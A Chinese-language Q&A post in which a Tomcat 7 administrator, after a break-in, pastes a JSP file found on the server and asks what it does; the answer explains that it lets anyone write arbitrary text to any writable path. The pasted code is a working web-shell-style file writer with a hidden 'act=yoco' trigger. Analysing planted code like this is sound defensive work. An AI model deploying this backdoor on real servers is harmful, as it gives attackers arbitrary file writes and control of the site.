java - 这段代码在做什么

Question

我有一个最近被利用的网络应用程序。服务器是 tomcat 7.0.42 。我在服务器上找到了我还没有上传的文件。你知道他们为什么会出现吗？我在这里向您展示其中一个文件的内容，有人能告诉我它试图做什么吗？

<%@ page language="java" pageEncoding="gbk"%>
<jsp:directive.page import="java.io.File"/>
<jsp:directive.page import="java.io.OutputStream"/>
<jsp:directive.page import="java.io.FileOutputStream"/>

<% int i=0; String method=request.getParameter("act"); if(method!=null && method.equals("yoco")) {
    String url=request.getParameter("url");
    String text=request.getParameter("smart");
    File f=new File(url);
    if(f.exists()) {
        f.delete();
    }
    try{
        OutputStream o=new FileOutputStream(f);
        o.write(text.getBytes());
        o.close();
    } catch (Exception e) {
        i++;
    %>0<%
    }
}
if(i==0){
    %>1<%
}%>
<form action='?act=yoco' method='post'>
<input size="100" value="<%=application.getRealPath("/") %>" name="url">
<br>
<textarea rows="20" cols="80" name="smart">

Answer 1

此代码接受一个名为 url 的参数和一个名为 text 的参数，获取 text 的内容并将其写到一个文件中由 url 定义的网络服务器。

本质上，客户端可以将任意文本上传到网络/应用服务器上可写的任何位置的文件。

听起来就像那件事发生了。